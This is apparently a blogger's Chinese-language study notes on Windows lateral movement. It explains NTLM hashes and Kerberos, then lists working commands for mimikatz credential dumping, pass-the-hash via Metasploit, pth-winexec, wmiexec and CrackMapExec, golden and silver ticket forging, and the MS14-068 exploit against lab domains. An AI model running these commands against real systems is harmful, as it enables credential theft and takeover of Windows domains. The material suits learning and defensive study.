横向移动
Comment前言
想想横向移动自己也就只懂msf、IPC啥的打一打,有点菜,总结学习一些横向移动的姿势。
横向移动
加密与hash的区别
哈希(Hash)
是将目标文本转换成具有相同长度的、不可逆的杂凑字符串(或叫做消息摘要)
加密(Encrypt)
是将目标文本转换成具有不同长度的、可逆的密文。
主要的区别有如下两点
1、哈希算法往往被设计成生成具有相同长度的文本,而加密算法生成的文本长度与明文本身的长度有关。
2、哈希算法是不可逆的,而加密算法是可逆的。
hash类型
LM HASH
LAN Manager(LM)哈希是Windows系统所用的第一种密码哈希算法。在LAN Manager协议中使用,非常容易通过暴力破解获取明文凭据。但是在Windows Vista和Windows 7系统之后,这种哈希算法是默认关闭。
hash生成方法
用户的密码字符串被全部转换成大写字母形式;
给密码字符串增加空字符,直到使其包含有14个字符为止;
“新”得到的密码字符串被分成两半,每一半分别包含7个字符;
每一半字符串都各自添加一个校验位,分别用于创建两个64位的DES加密密钥;
所生成的每一个DES密钥都被用于加密一个固定的ASCII字符串KGS!@#$%,得到两个长度为8字节的密文;
两个8字节的密文合并起来,形成1个16字节的字符串。至此,LM哈希结束。
NTML
NTML 是用于 Windows NT 和 Windows 2000 Server 工作组环境的身份验证协议。它还用在必须对 Windows NT 系统进行身份验证的混合 Windows 2000 Active Directory 域环境中。这类Hash可以直接用于PtH,并且通常存在于lsass进程中,便于SSP使用。
hash生成方法
将明文口令转换成十六进制的格式
转换成Unicode格式,即在每个字节之后添加0x00
对Unicode字符串作MD4加密,生成32位的十六进制数字串
Windows系统下hash密码格式 用户名称:RID:LM-HASH值:NT-HASH值,
可以用LM-HASH值:NT-HASH值去在线查询http://www.objectif-securite.ch/en/ophcrack.php或者使用GetHashes、Ophcrack破解系统Hash密码。
NET-NTLM HASH
NTML认证流程如下:
1、客户端向服务器发送一个请求,请求中包含明文的登录用户名。服务器会提前存储登录用户名和对应的密码hash
2、服务器接收到请求后,生成一个16位的随机数(这个随机数被称为Challenge),明文发送回客户端。使用存储的登录用户密码hash加密Challenge,获得Challenge1
3、客户端接收到Challenge后,使用登录用户的密码hash对Challenge加密,获得Challenge2(这个结果被称为response),将response发送给服务器
4、服务器接收客户端加密后的response,比较Challenge1和response,如果相同,验证成功
域环境的话其实是一样的,就是发送随机数比对challenge和response都是在DC中进行,server就只当中间商了,client把challenge,response及username传给server,server再传给DC进行比对。
NET-NTLM HASH是指网络环境下NTLM认证中的hash,有两种一种是Net-NTLMv1另一种是Net-NTLMv2。
Net-NTLMv1 相对脆弱,自Windows Vista/Server2008开始,系统默认禁用Net-NTLMv1,使用Net-NTLMv2。
哈希传递(pth)
pth就是直接通过LM HASH和NTLM HASH不需要明文密码直接远程登录。上述说的Net-NTML是不能用于pth的。
适用于
域/工作组环境
可以获得hash,但是条件不允许对hash爆破
内网中存在和当前机器相同的密码
meterpreter
use exploit/windows/smb/psexec_psh
set smbdomain xx.int
Set SMBuser admin
set SMBPass 01FC5A6BE7BC6929AAD3BXXX:0CB6948805F7XXXXX807973B89537
看大佬的讨论说psexec_psh网络可达 普通用户权限能直接用,但是在2008系统hash的情况下用,抓到2003的hash没法用这个来连接smb。
pth-exec
kali自带的pth的工具很多
pth-winexec -U pentestlab/administrator%eb9e3066e4d25b5025ad3b83fa6627c7:03bebb338e70244589ea67c7439c77ba //1.1.1.21 cmd.exe
mimikatz
先抓密码取得NTMLhash,mimikatz实现了在禁用NTLM的环境下仍然可以远程连接。
privilege::debug
sekurlsa::logonpasswords
mimikatz # sekurlsa::pth /user:Administrator /domain:FENTESTLAB.com /ntlm:11ec7935618f326490509a0703fbadb8
还可以利用aes key远程连接(要安装kb2871997这个补丁才可以测试成功,这里只做记录)
获取aes key
privilege::debug
sekurlsa::ekeys
privilege::debug
sekurlsa::pth /user:Administrator /domain:FENTESTLAB.com /aes256:f74b379b5b422819db694aaf78f49177ed21c98ddad6b0e246a7e17df6d19d5c
弹出cmd之后连接的时候要使用计算机名称,如果不更换密码aes key可以一直使用。
dir \\WIN-8VVLRPIAJB0\c$
wmiexec
wmi是从windows从03/xp开始win内置的插件,是为了管理员能更加方便的对远程windows主机进行各种日常管理。
win版:https://github.com/maaaaz/impacket-examples-windows
python版:https://github.com/CoreSecurity/impacket/blob/master/examples/wmiexec.py
wmiexec -hashes 00000000000000000000000000000000:7ECFFFF0C3548187607A14BAD0F88BB1 域名/用户名@192.168.1.1 "whoami"
Invoke-TheHash
https://github.com/Kevin-Robertson/Invoke-TheHash
Invoke-WMIExec -Target 1.1.1.22 -Domain pentestlab -Username administrator -Hash 7ECFFFF0C3548187607A14BAD0F88BB1 -Command "command or launcher to execute" -verbose
没有执行成功,里面有很多脚本应用场景也不同。
CrackMapExec
这个工具可以对C段进行批量尝试pth,可以先ew代理到kali
https://github.com/byt3bl33d3r/CrackMapExec.git
crackmapexec 1.1.1.0/24 -u administrator -H 11ec7935618f326490509a0703fbzdb8
kerberos
第一:从AS服务器中获取TGT票据
用户在客户端输入账号和密码之后,会对密码进行hash处理,作为user-secret-key
1. 客户端将用户名发送给AS服务器申请服务,在AS服务器中会对用户名进行验证,在AS服务器本地数据库中查询到该用户名的密码,并使用hash生成user-secrect-key.
2. AS服务器向用户发送两样东西:
1) Client/TGS会话密钥,使用user-secrect-key进行加密
2) TGT,包含TGS会话密钥,用户信息,时间戳,TGT有效期。使用TGS密钥进行加密
3. 用户接收到消息之后,回使用本地的user-secret-key对消息1)进行解密,如果解密成功,说明用户提供的凭证是正确的,此时用户得到了加密后的TGT。
第二:从TGS服务器中获取访问权限
1. 客户端向TGS服务器发送信息:
1) 第一步骤中的TGT
2) 认证信息(认证符(Authenticator)),包含用户id以及时间戳,通过TGS会话密钥进行加密。
2. TGS服务器收到消息之后,会使用TGS密钥对消息1)进行解密,获取到TGS会话密钥,进而对消息2)进行解密,在对用户id以及时间戳进行认证,如果认证成功,向客户端发送消息:
1) client-server-ticket(包含SS会话密钥,用户名信息以及时间戳),使用ss密钥进行加密
2) ss会话密钥使用TGS会话密钥进行加密
3. 客户端收到信息之后会对消息2)进行解密,获得ss会话密钥。
第三:访问服务
1. 客户端向ss服务器发送以下消息:
1)第二步骤中的client-server-ticket
2)新的Authenticator,包含用户信息,时间戳。通过SS会话密钥进行加密
2. SS服务器收到消息之后,会使用ss密钥对消息1)进行解密,解密之后使用ss会话密钥对消息2)解密,解密成功之后会得到authenticator,认证之后,发送:
1)新时间戳,Client发送的时间戳加1,通过ss会话密钥进行加密
3. 客户端收到时间戳之后,解密确认,成功之后发送服务请求
4. ss服务器收到之后提供服务。
pass-the-ticket(ptt)
黄金票据(Golden Ticket)
先假设这么一种情况,原先已拿到的域内所有的账户hash,包括krbtgt这个账户,由于有些原因导致域管权限丢失,但好在你还有一个普通域用户权限,碰巧管理员在域内加固时忘记重置krbtgt密码,基于此条件,我们还能利用该票据重新获得域管理员权限,利用krbtgt的HASH值可以伪造生成任意的TGT(mimikatz),能够绕过对任意用户的账号策略,让用户成为任意组的成员,可用于Kerberos认证的任何服务
伪造黄金票据需要以下条件
krbtgt用户的hash(就意味着你已经有域控制器权限了)
域名称
域的SID值
要伪造的用户名
获取dc krbtgt用户hash,获取域sid:
mimikatz# lsadump::lsa /patch
mimikatz # kerberos::golden /user:administrator /domain:pentestlab.com /sid:S-1-5-21-2777116530-3322806355-1208541214 /krbtgt:c5535efd632aff3b61143ec34c524d51 /ticket:pentestlab.kirbi
mimikatz # kerberos::pentestlab.kirbi
也可以使用wmiexec远程登录
wmiexec /shell DCSERVER.PENTESTLAB.COM
白银票据(Silver Ticket)
通过观察Kerberos协议的认证过程不难发现,如果我们获取了Server秘钥Ks(服务器口令散列值),就可以跳过KDC的认证,直接伪造票据和目标Server通信
kerberos::golden /domain:pentestlab.com /sid:S-1-5-21-2777116530-3322806355-1208541214 /target:DMEMBER.pentestlab.com /rc4:34fd2574ccc7b11615bd6378b1799a95 /service:cifs /user:administrator /ptt
两个票据之间的区别
访问权限不同
Golden Ticket: 伪造TGT,可以获取任何Kerberos服务权限
Silver Ticket: 伪造TGS,只能访问指定的服务
加密方式不同
Golden Ticket 由Kerberos的Hash加密
Silver Ticket 由服务账号(通常为计算机账户)Hash加密
认证流程不一样
Golden Ticket 的利用过程需要访问域控,而Silver Ticket不需要
ms14-068
windows域中使用kerberos协议过程中,为了让SS服务器判断Client是否有权限访问服务,引入了PAC机制。构造PAC也是这个漏洞的根本。
1. 在请求AS时,将require_PAC设置成False。
2. 在请求TGS时,构造PAC,然后使用MD5签名(PAC尾部的签名算法可以任意指定),PAC并没有放在TGT中发送,而是在请求包的其他位置(但是还是可以解析)。
3. TGS_REP返回的不是会话密钥,而是返回的带PAC的TGT(微软的锅)
利用过程
得到普通域用户的sid:
whoami/user
执行payload生成ccache:
MS14-068.exe -u administrator@pentestlab.com -s S-1-5-21-4173655609-916892889-516531421-1108 -d DMEMBER.PENTESTLAB.COM -p A100b200
使用mimikatz注入凭据
kerberos::purge #清空当前机器存在的凭证
kerberos::ptc c:\downloads\administrator@pentestlab.com.ccache
(盗图)
总结
还是学到不少东西,有些姿势受限环境复现不成功。内网渗透假期可能会好好研究下,接下来就是准备考试了…本文仅作为总结记录,参考资料文末都已标明。
参考连接:
https://www.secpulse.com/archives/65256.html